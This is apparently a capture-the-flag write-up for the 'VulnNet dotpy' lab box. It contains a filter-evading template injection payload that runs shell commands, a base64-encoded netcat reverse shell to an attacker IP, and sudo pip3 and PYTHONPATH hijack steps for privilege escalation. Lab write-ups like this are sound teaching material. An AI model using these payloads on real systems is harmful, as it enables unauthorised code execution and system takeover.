PORT STATE SERVICE VERSION 8080/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.9) | http-title: VulnNet Entertainment - Login | Discover |_Requested resource was http://10.10.228.19:8080/login |_http-server-header: Werkzeug/1.0.1 Python/3.6.9
Well, there’s only one place to start…

Straight in with a login, we’re allowed to create a user and log in to view the dashboard for StarAdmin.

After browsing around and finding the server likes to block certain characters, we find it’s vulnerable to SSTI

We discover there is a filter in place to block “.”, “_”, “[]” and “|join”, so with the below payload we’re able to get some response.
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("id")|attr("read")()}}

It appears we’re unable to get a shell by inserting the payload directly, as it doesn’t like the dots, however we can base64 encode our payload, echo it into a file, then pipe that file in to base64 to decode and pipe that into bash.
echo 'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL2Jhc2ggLWkgMj4mMXxuYyAxMC4xOC4xMDUuNjQgMTIzNCA+L3RtcC9m' > s" cat s | base64 -d | bash

web@vulnnet-dotpy:~/shuriken-dotpy$ sudo -l Matching Defaults entries for web on vulnnet-dotpy: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User web may run the following commands on vulnnet-dotpy: (system-adm) NOPASSWD: /usr/bin/pip3 install *
This means we can create a malicious setup.py in a folder (I use a generic revshells python3 one liner) and execute it using sudo -u system-adm /usr/bin/pip3 install .

Now to move through to root. This time we can run backup.py which appears to be using relative paths to import modules.

We can also run SETENV as sudo, so we can simply create another malicious python file (this time zipfile.py inside a temporary folder (/tmp, of course) and execute backup.py
sudo PYTHONPATH=/tmp /usr/bin/python3 /opt/backup.py

Now we’re root, grab the flag and box done. The SSTI was interesting, it took me quite a while to figure out how to get a shell on the box.